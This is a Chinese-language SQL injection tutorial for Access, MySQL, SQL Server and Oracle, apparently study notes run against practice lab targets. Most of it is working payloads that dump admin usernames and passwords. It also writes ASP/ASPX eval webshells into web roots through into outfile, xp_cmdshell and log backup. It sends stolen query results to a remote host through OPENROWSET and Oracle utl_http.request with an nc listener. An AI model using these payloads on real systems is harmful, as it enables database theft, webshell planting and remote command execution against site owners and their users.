access+asp 手工注入


access 数据库


access 数据库与其他数据库不一样 他没有存储表的库,所以只能猜表。

access 数据库结构

表 字段 数据

判断是否存在注入

  • and 判断

  • and 1=1 正确页面

  • and 1=2 错误页面

  • or 判断

  • or 1=1 正确页面

  • or 1=2 错误页面

判断字段数

order by 判断当前表 的字段数

  • order by 10 正常

  • order by 11 错误

所以有10个字段

猜表

1
union select 1,2,3,4,5,6,7,8,9,10 from admin

猜字段

1
union select 1,id,username,password,4,5,6,7,8,9,10 from admin

逐字猜解法


判断注入

  • and 1=1

  • and 1=2

猜表

1
and exists (select * from admin)

页面返回正常说明表存在

猜列

1
and exists (select username from admin)
1
and exists (select password from admin)

猜数据长度

  • len() 函数
1
and (select top 1 len(username) from  admin)=8

等于 8 就是确定数据的长度 也可以使用大于(>)小于(<)个人认为 等于(=)最 好确定长度

查询数据 asccii 码

  • mid() 截取位置

  • asc() ascii 码

1
2
3
4
and (select top 1 asc(mid(username,1,1)) 
from admin)=97
and (select top 1 asc(mid(username,2,1))
from admin)=100

猜解完之后 把 ascii 码 转换过来 并接 就是 username 字段的的数据,其他字段也是这 样。 97 的字符为 a 100 的字符为 d 并接起来就是 ad


SQL 注入类型的区分详解


首先按照常用接收方式的不同可以分为以下三种

  • GET

GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要 URL 编码

[URL 最长的长度][https://www.cnblogs.com/cuihongyu3503319/p/5892257.html]

  • POST

POST 请求参数是放在请求 body 里的,长度没有限制

  • COOKIE

cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取参数。

注入数据类型的区分

  • int 整型
1
select * from user where id=1
  • string 字符型
1
select * from user where username='admin'
  • like 搜索型
1
select * from news where title like '%标题%'

以上 除了第一种以外 其余在判断注入或查询语句的时候都要进行闭合,不闭合 SQL 语句不仅会出错,可能与原意不一样,会造成错误的判断

  • 字符型 注入闭合
1
select * from user where username='admin' and 'x'='x'

’ and ‘x’='x 这个部分就是闭合的部分

  • like 模糊型注入闭合
1
select * from news where title like '%标题%'
1
select * from news where title like '%标题%' and '1%' = '1%'

%’ and ‘1%’ = '1 这个是闭合的部分

1
select * from news where title like '%s%' and '1%' = '1%'

注入方法区分

联合查询注入 union select 联合两个表

报错注入 数据库报错信息 进行注入

盲注入

  • 布尔型注入
  • 时间型注入

mysql+php 手工注入篇


mysql 的注释符号

1
2
3
#
--空格
/*里面注释*/

用于注释后后面语句 不再执行

注入常用查询系统信息函数

1
2
3
4
5
6
7
8
9
10
11
version()   			MYSQL版本
system_user() 系统用户名
user() 数据库用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
@@datadir 数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统版本
load_file() MYSQL 读取本地文件的函数

判断是否存在注入

页面是否返回正常,或是否存在报错信息

  • and 1=1 正常

  • and 1=2 错误

  • && 1=1 正常

  • && 1=2 错误

  • or 1=1

  • or 1=2

判断列数

与其他数据库一样 order by 进行排列获取字段数

1
http://sql.dansemal.cn/Less-1/?id=1' order by 3 -- qwe

image-20210526144229580

1
http://sql.dansemal.cn/Less-1/?id=1' order by 4 -- qwe

image-20210526144253091

order by 3 页面正常 order by 4 页面返回空白 或者文章没有显示出来,列数为 3 个

mysql 与 access 数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、 库名、操作系统信息

联合查询 union select

1
2
3
4
5
http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,3 -- qwe

http://sql.dansemal.cn/Less-1/?id=1' and 1=2 union select 1,2,3 -- qwe

http://sql.dansemal.cn/Less-1/?id=' and 1=1 union select 1,2,3 -- qwe

image-20210526144843542

以上三个语句的意思都是相同的 前面获取数据为 null 将会显示后面的数字

查询库名

1
http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,database() -- qwe

/查询所有库/

1
http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,group_concat(schema_name) from information_schema.schemata -- qwe

image-20210526145543573

image-20210526150851830

查询表名

mysql 里面有一个库 information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因此可以利用这个库来获取当前库的表

1
http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema='security' -- qwe

image-20210526150751007

group_concat() 连接所有非 NULL 的字符串

  • limit 1,1 获取第一个

  • limit 2,1 获取第二个

查询字段

1
2
3
4
http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='users' -- qwe

http://sql.dansemal.cn/Less-1/?id=' -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- qwe

image-20210526151623218

查询数据

1
http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,group_concat(0x3c2f62723e,id,0x7e,username,0x7e,password)  from users -- qwe

image-20210526152321286

查询失败的原因

这种方面不是通用的,有时候 查询不全 这个原因是字段的大小问题。解决办法 换一 个字段查询,或者 用函数查询长度再用字符串函数截取

读写操作

MYSQL 新特性 secure_file_priv 对读写文件的影响 此开关默认为 NULL,即不允许导入导出。

secure_file_priv 为空是 的时候 方可读写 由于这个参数不能动态更改,只能在 mysql 的配置文 件中进行修改,然后重启生效。 可以通过命令查看这个属性

1
select @@secure_file_priv

secure_file_priv 为 null 表示不允许导入导出

secure_file_priv 指定文件夹时,表示 mysql 的导入导出只能发生在指定的文件夹

secure_file_priv 没有设置时,则表示没有任何限制

写入文件的时候还需要看 php.ini 里面 gpc 是否开启 开启的情况下 特殊字符都会被转义 ’ 变成 '

load_file()读取文件函数

读取当前目录下的 index.php 文件

1
http://target_sys.com/article.php?id=-1 union select  1,2,load_file('C:\\inetpub\\wwwroot\\target_sys.com\\index.php')
  • into outfile 文件导出 空格

  • into dumpfile 没有空格

1、gpc 关闭

2、目录可写

写 shell 话到当前目录

1
http://target_sys.com/article.php?id=-1 union select 1,'',3 into outfile  'C:\\inetpub\\wwwroot\\target_sys.com\\smoon.php'

报错注入


mysql 在执行 SQL 语句的时 如果语句有错 会返回报错信息,在与 php 结合使用的时候默认并 不会把报错的信息在页面显示出来

如果要在 php 显示出来 将在执行语句的时候使用 mysql_error() 才可以把错误的信息 显示到页面

1
$result=mysql_query("select * from article where id=$id") or die(mysql_error());

判断注入

  • and 1=1
1
http://sql.dansemal.cn/Less-5/?id=1' and 1=1 -- qwe

image-20210526154017081

  • and 1=2
1
http://sql.dansemal.cn/Less-5/?id=1' and 1=2 -- qwe

image-20210526154040880

报错语句

通过 floor 报错
  • /数据库版本/
1
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e)))  from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables  group by x)a)
1
2
3
http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) 
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a)-- qwe

image-20210526192837729

  • /连接用户/
1
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e)))  from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables  group by x)a)
1
2
3
http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) 
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a)-- qwe

image-20210526192956089

  • /连接数据库/
1
and(select 1 from(select count(*),concat((select (select (select  concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x  from information_schema.tables group by x)a)
1
2
3
http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select 
concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)-- qwe

image-20210526193102897

  • /暴库/
1
2
3
and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
1
2
3
http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

image-20210526193607574

  • /暴表/
1
and(select 1 from(select count(*),concat((select (select (SELECT distinct  concat(0x7e,table_name,0x7e) FROM information_schema.tables where  table_schema=database() LIMIT 0,1)) from information_schema.tables limit  0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
1
2
3
4
http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x7e,table_name,0x7e) FROM information_schema.tables where
table_schema=database() LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

image-20210526193908156

  • limit 3,1

image-20210526193940169

  • /暴字段/
1
and(select 1 from(select count(*),concat((select (select (SELECT distinct  concat(0x7e,column_name,0x7e) FROM information_schema.columns where  table_name=0x7573657273 LIMIT 0,1)) from information_schema.tables limit  0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
1
2
3
4
http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x7e,column_name,0x7e) FROM information_schema.columns where
table_name=0x7573657273 LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

image-20210526194219860

  • limit 1,1

image-20210526194253727

  • limit 2,1

  • /暴内容/
1
2
3
4
and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables`
`group by x)a)
1
2
3
4
http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a)-- qwe

image-20210526194555411

ExtractValue(有长度限制,最长 32 位)
1
and extractvalue(1, concat(0x7e, (select @@version),0x7e))
1
http://sql.dansemal.cn/Less-5/?id=1' and extractvalue(1, concat(0x7e, (select @@version),0x7e))-- qwe

image-20210526194757272

1
and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1)))
1
http://sql.dansemal.cn/Less-5/?id=1' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1)))-- qwe

image-20210526195003480

UpdateXml(有长度限制,最长 32 位)
1
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
1
http://sql.dansemal.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)-- qwe

image-20210526194757272

1
and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,id,0x23,username,0x3a,password,0x23)  FROM users limit 0,1),0x7e),1)
1
http://sql.dansemal.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,id,0x23,username,0x3a,password,0x23)  FROM users limit 0,1),0x7e),1)-- qwe

image-20210526195003480

1
and updatexml(1,concat(0x7e,(SELECT distinct  LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM users limit 0,1),0x7e),1)
1
2
http://sql.dansemal.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT distinct 
LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM users limit 0,1),0x7e),1)-- qwe

image-20210526201756403

查询长度为11

SUBSTRING()字符串截取函数

1
2
3
http://sql.dansemal.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT distinct 
SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,11) FROM users limit
0,1),0x7e),1)-- qwe

image-20210526202013669

NAME_CONST(适用于低版本)
1
and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as +x)
1
2
http://sql.dansemal.cn/Less-5/?id=1' and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as
+x)-- qwe

image-20210526195445181

Error based Double Query Injection
  • /数据库版本/
1
or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
1
http://sql.dansemal.cn/Less-5/?id=1' or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1-- qwe

image-20210526195657239

还有一些报错语句

geometrycollection()
1
and geometrycollection((select * from(select * from(select  user())a)b))
1
2
http://sql.dansemal.cn/Less-5/?id=1' and geometrycollection((select * from(select * from(select 
user())a)b))-- qwe

image-20210526200147408

multipoint()
1
and multipoint((select * from(select * from(select database())a)b))
1
http://sql.dansemal.cn/Less-5/?id=1' and multipoint((select * from(select * from(select database())a)b))-- qwe

image-20210526200327968

polygon()
1
and polygon((select * from(select * from(select @@basedir MYSQL)a)b))
1
http://sql.dansemal.cn/Less-5/?id=1' and polygon((select * from(select * from(select @@basedir MYSQL)a)b))-- qwe

image-20210526200645488

multipolygon()
1
2
and multipolygon((select * from(select * from(select` 
`@@version_compile_os)a)b))
1
2
http://sql.dansemal.cn/Less-5/?id=1' and multipolygon((select * from(select * from(select 
@@version_compile_os)a)b))-- qwe

image-20210526200829020

linestring()
1
and linestring((select * from(select * from(select @@datadir)a)b))
1
http://sql.dansemal.cn/Less-5/?id=1' and linestring((select * from(select * from(select @@datadir)a)b))-- qwe

image-20210526201019882

multilinestring()
1
2
and multilinestring((select * from(select * from(select` 
`session_user())a)b))
1
2
http://sql.dansemal.cn/Less-5/?id=1' and multilinestring((select * from(select * from(select 
session_user())a)b))-- qwe

image-20210526201124166

exp()
1
and exp(~(select * from(select user())a))
1
http://sql.dansemal.cn/Less-5/?id=1' and exp(~(select * from(select user())a))-- qwe

image-20210526201215634

读取文件

extractvalue 读取文件 32长度限制
1
and (extractvalue(1,concat(0x7e,(select  load_file('/hello.php')),0x7e)))
1
http://sql.dansemal.cn/Less-5/?id=1' and (extractvalue(1,concat(0x7e,(select  load_file('/hello.php')),0x7e)))-- qwe

image-20210526203943218

exp 方法读取
1
and (exp(~(select*from(select  load_file('/hello.php'))a)))
1
2
http://sql.dansemal.cn/Less-5/?id=1' and (exp(~(select*from(select 
load_file('/hello.php'))a)))-- qwe

image-20210526204054718


延时注入


延时注入属于盲注入的一种,这种注入通过 mysql 里面的 sleep()函数,这个函数的意思是延时 执行多少秒。

sleep 通常与 if 一起使用 例如

1
select if('root'='root',sleep(3),0)  

如果 字符串 root 等于 root 数据库延时 3 秒 否则输出 0

延时方法是先获取数据的长度

1
select if(LENGTH(version())=6,sleep(3),0) 

再查询数据,这就是我们常用的一些字符 把他们转为 ASCII 码方便进行对比。 abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.

1
select if(ascii(substring(version(),1,1))=53,sleep(3),0) 

字符串截取长度 substring()

字符转 ascii 码 ascii()

判断注入

and sleep(5)

1
http://sql.dansemal.cn/Less-5/?id=1' and sleep(5)-- qwe

image-20210526205531159

获取 mysql 版本

and if(LENGTH(version())=这个是长度,sleep(3),0) 当长度到 23 的时候 页面延时 3 秒返回。

1
http://sql.dansemal.cn/Less-5/?id=1' and if(LENGTH(version())=23,sleep(3),0)-- qwe

image-20210526210538684

1
2
3
4
5
6
7
8
9
10
11
select if(ascii(substring((select version()),1,1))=53,sleep(5),0) `

`select if(ascii(substring((select version()),2,1))=46,sleep(5),0) `

`select if(ascii(substring((select version()),3,1))=53,sleep(5),0) `

`select if(ascii(substring((select version()),4,1))=46,sleep(5),0) `

`select if(ascii(substring((select version()),5,1))=52,sleep(5),0) `

`select if(ascii(substring((select version()),6,1))=54,sleep(5),0)

sqlserver 联合注入


sqlserver 经常与 asp 或者 aspx 一起使用,操作系统多数是 win2012 win2018

数据库版本 sql2008 sql2012

1
http://59.63.200.79:8015/?id=1

注释

  • –空格 单行注释

  • /* */ 多行注释

判断是否注入

  • ’ 单引号是否报错

  • and 1=2

  • and 1=1 页面是否相同

判断列数

order by

image-20210526211640624

order by 3 正常

联合查询

联合查询 需要每个列的类型要一直 或者可以使用 null 直到页面出错

1
http://59.63.200.79:8015/?id=1' union select 1,'2','3' --qwe

image-20210526211844284

第一个 2 ,3 为字符串 1为整型

查询系统信息

db_name() 数据库名

@@version 版本信息

User_Name() 当前用户

host_name() 计算机名称

1
http://59.63.200.79:8015/?id=1' union select 1,db_name(),@@version --qwe

image-20210526212023937

SQLserver 报错注入

内容命令
显示系统信息and @@version>0
爆出数据库and db_name()>0
当前用户and User_Name()>0
爆出其他数据库sqland (SELECT top 1 Name FROM Master..SysDatabases)>0 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','iNethinkCMS','model','msdb'))>0
爆表and (select top 1 name from [mydb].sys.all_objects where type=‘U’ AND is_ms_shipped=0)>0 and (select top 1 name from mydb.sys.all_objects where type=‘U’ AND is_ms_shipped=0 and name not in (‘admin’))>0
爆列and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=‘admin’ and COLUMN_NAME not in(‘ID’))>0 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=‘admin’ and COLUMN_NAME not in(‘ID’,‘username’))>0
爆数据and (select top 1 password from admin)>0 and (select top 1 username from admin)>0

sqlserver快速爆表列数据

在 SQL_SERVER 中 每个数据库中都有 视图->系统视图 在这个下面都有很多关于这个库的表,表里面存放了很多关于这个库的信息。 COLUMNS 列 TABLES 表

内容命令
爆出表and(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘dbo’ FOR XML PATH)>1
爆出列and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘admin’ FOR XML PATH)>1
爆出数据and ( select username,password from admin FOR XML PATH)>1

sqlserver执行系统命令

在 SQLSERVER 中是可以执行多行操作的

两条 SQL 语句是用分号隔开

select * from art; select * from admin

xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。 如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它

1
2
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 
'xp_cmdshell', 1;RECONFIGURE;

命令解释

EXEC sp_configure ‘show advanced options’,1//允许修改高级参数

RECONFIGUREEXEC sp_configure ‘xp_cmdshell’,1 //打开 xp_cmdshell 扩展

RECONFIGURE

执行系统命令

1
EXEC master.dbo.xp_cmdshell 'ipconfig'

开始 xp_cmdshell

;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

getshell

;exec master…xp_cmdshell ‘echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.demo1.com\2.asp’ –

exec master…xp_cmdshell ‘echo ^<%eval request(chr(35))%^> >C:\inetpub\wwwroot\www.demo1.com\2.asp’–

exec master…xp_cmdshell ‘echo ^<%@ Page Language=“Jscript”%^>^<%eval(Request.Item[“chopper”],“unsafe”);%^>>D:\2.a spx’ –

http://www.demo1.com/index.aspx?id=1;exec master…xp_cmdshell ‘echo ^<%@ Page Language=“Jscript”%^>^<%eval(Request.Item[“chopper”],“unsafe”);%^>>C:\inet pub\wwwroot\www.demo1.com\2.aspx’ –

执行系统命令 把命令结果输出到指定文件 http://www.demo1.com/index.aspx?id=1;EXEC master.dbo.xp_cmdshell ‘ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip.txt’

http://www.demo1.com/index.aspx?id=1;EXEC master.dbo.xp_cmdshell ‘whoami >>C:\inetpub\wwwroot\www.demo1.com\ip.txt’

sqlserver备份拿webshell

<%execute(request(“a”))%> 差异备份 经常会出错的 不稳定 log 备份一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

;drop table test_tmp

;create table test_tmp (a image);

;backup log mydb to disk ='C:/phpStudy/MSSQL/WWW/asp.bak' with init;

;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA)

;backup log mydb to disk = 'C:/phpStudy/MSSQL/WWW/123.asp'

;drop table test_tmp



select * from art where id=1;IF EXISTS(select table_name from
information_schema.tables where table_name='test_tmp')drop table test_tmp;create
table test_tmp (a image);backup log mydb to disk
='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp (a)
values (0x3C25657865637574652872657175657374282261222929253EDA);backup
log mydb to disk = 'C:/inetpub/wwwroot/www.demo1.com/123.asp'

sqlserver openrowset 转发利用

适用于盲注入,页面不返回信息 使用这种注入方法,需要一台带有 sqlserver 的机器。 原理就是把当前数据转发到远程的 sqlserver 上。

  • 启用 Ad Hoc Distributed Queries:

    • ;exec sp_configure ‘show advanced options’,1 reconfigure

    • ;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure

  • 为了安全使用完成后,关闭 Ad Hoc Distributed Queries:

    • ;exec sp_configure ‘Ad Hoc Distributed Queries’,0 reconfigure

    • ;exec sp_configure ‘show advanced options’,0 reconfigure

开启扩展

http://www.demo1.com/index.aspx?id=1;exec sp_configure ‘show advanced options’,1 reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure

本地建立临时表

create table ##version (VERSION varchar(500))

查询系统信息

http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET(‘SQLOLEDB’, ‘server=192.168.0.122;uid=sa;pwd=123456’, ‘select * from %23%23version’ ) select DB_NAME()

执行上面语句之后 再来查询远程 sqlserver 上的表

select * from ##version

两边创建临时表

create table ##nonamed( dir ntext, num int )

http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )

查询路径

insert %23%23nonamed execute master…xp_dirtree ‘c:/’,1

向 nonamed 表插入 c 盘下路径的数据

http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master…xp_dirtree ‘c:/’,1

这里就是把数据转发到远程 192.168.0.122 sqlserver 上

http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET(‘SQLOLEDB’, ‘server=192.168.0.122;uid=sa;pwd=123456’, ‘select * from %23%23nonamed’ ) select * from %23%23nonamed

在远程 sqlserver 执行这个命令 就可以获取 数据 select * from %23%23nonamed

oracle注入

oracle jsp 联合注入

靶场地址:

1
http://59.63.200.79:8808/?id=1

注释

– 空格 单行注释

/**/多行注释

判断是否注入

and 1=1 –

and 1=2 –

列数

order by

http://59.63.200.79:8808/?id=1 order by 4 – qwe 正常

http://59.63.200.79:8808/?id=1 order by 5 – qwe 错误

联合查询

因为 oracle 对列的类型比较严谨 所以 要用 null 可以匹配任意类型

Oracle 中的 dual 表是一个单行单列的虚拟表

Dual 是 Oracle 中的一个实际存在的表,任何用户均可读取。

所以可以通过这个 dual 表 来显示列数

1
http://59.63.200.79:8808/?id=1 union select null,null,null,null from dual -- qwe

image-20210608203809773

当前用户权限select * from session_roles
当前数据库版本select banner from sys.v_$version where rownum=1
服务器出口ip用 utl_http.request 可以实现
服务器监听ipselect utl_inaddr.get_host_address from dual
服务器操作系统select member from v$logfile where rownum=1
服务器sidselect instance_name from v$instance
当前连接用户select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual
当前用户SELECT user FROM dual
查询库名select owner from all_tables where rownum=1 select owner from all_tables where rownum=1 and owner <>‘SYS’
查询表(表名大写)select table_name from user_tables where rownum=1 select table_name from user_tables where rownum=1 and table_name<>‘ADMIN’
查询列select column_name from user_tab_columns where table_name=‘ADMIN’ and rownum=1 select column_name from user_tab_columns where table_name=‘ADMIN’ and column_name<>‘ID’ and rownum=1 select column_name from user_tab_columns where table_name=‘ADMIN’ and column_name<>‘ID’ and column_name<>‘USERNAME’ and rownum=1
查询数据SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN
当前用户SELECT user FROM dual
列出所有用户SELECT username FROM all_users ORDER BY username
列出数据库SELECT DISTINCT owner FROM all_tables
列出表名SELECT table_name FROM all_tables SELECT owner, table_name FROM all_tables
查询表所有列SELECT column_name FROM all_tab_columns WHERE TABLE_NAME=‘ADMIN’
定位文件SELECT name FROM V$DATAFILE

utl_http.request 反弹注入

通过 utl_http.request 我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要 使用该方法用户需要有 utl_http 访问网络的权限.

  • 检测是否支持utl_http.request

    utl_http.request 页面正常 支持

    1
    $url and exists (select count(*) from all_objects where object_name='UTL_HTTP') -- 
  • 反弹注入命令

    1
    2
    3
    4
    5
    6
    7
    $url and
    utl_http.request('http://192.168.0.121:2008/'||(select banner from sys.v_$version where
    rownum=1))=1--

    and utl_http.request('http://域名或者 ip:端口/'||(注入的语句))=1 --

    注意|| 注意转码%7C%7C
  • 监听本地信息

    1
    nc -vvlp 2008
  • 查询oracle版本信息

当前用户select user from dual
当前数据库版本select banner from sys.v_$version where rownum=1
服务器出口ip用 utl_http.request 可以实现
服务器监听ipselect utl_inaddr.get_host_address from dual
服务器操作系统select member from v$logfile where rownum=1
服务器sidselect instance_name from v$instance
当前连接用户select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual
日志文件select member from v$logfile where rownum=1

报错注入

  • utl_inaddr.get_host_name()

    1
    and 1=utl_inaddr.get_host_name((select user from dual))--
  • ctxsys.drithsx.sn()

    1
    and 1=ctxsys.drithsx.sn(1,(select user from dual))--
  • XMLType()

    1
    2
    and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is
    not null --
  • dbms_xdb_version.checkin()

1
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
  • bms_xdb_version.makeversioned()

    1
    and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null -
  • dbms_xdb_version.uncheckout()

    1
    and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
  • dbms_utility.sqlid_to_sqlhash()

    1
    and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
  • ordsys.ord_dicom.getmappingxpath()

    1
    and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
  • decode

    1
    2
    3
    4
    5
    这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查
    询结果回显回来,仅是用来作为页面的表现不同的判断方法

    and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

  • 报错 admin 表的 用户和密码

    1
    2
    and 1=utl_inaddr.get_host_name((select (select
    username%7c%7cpassword from admin)from dual))--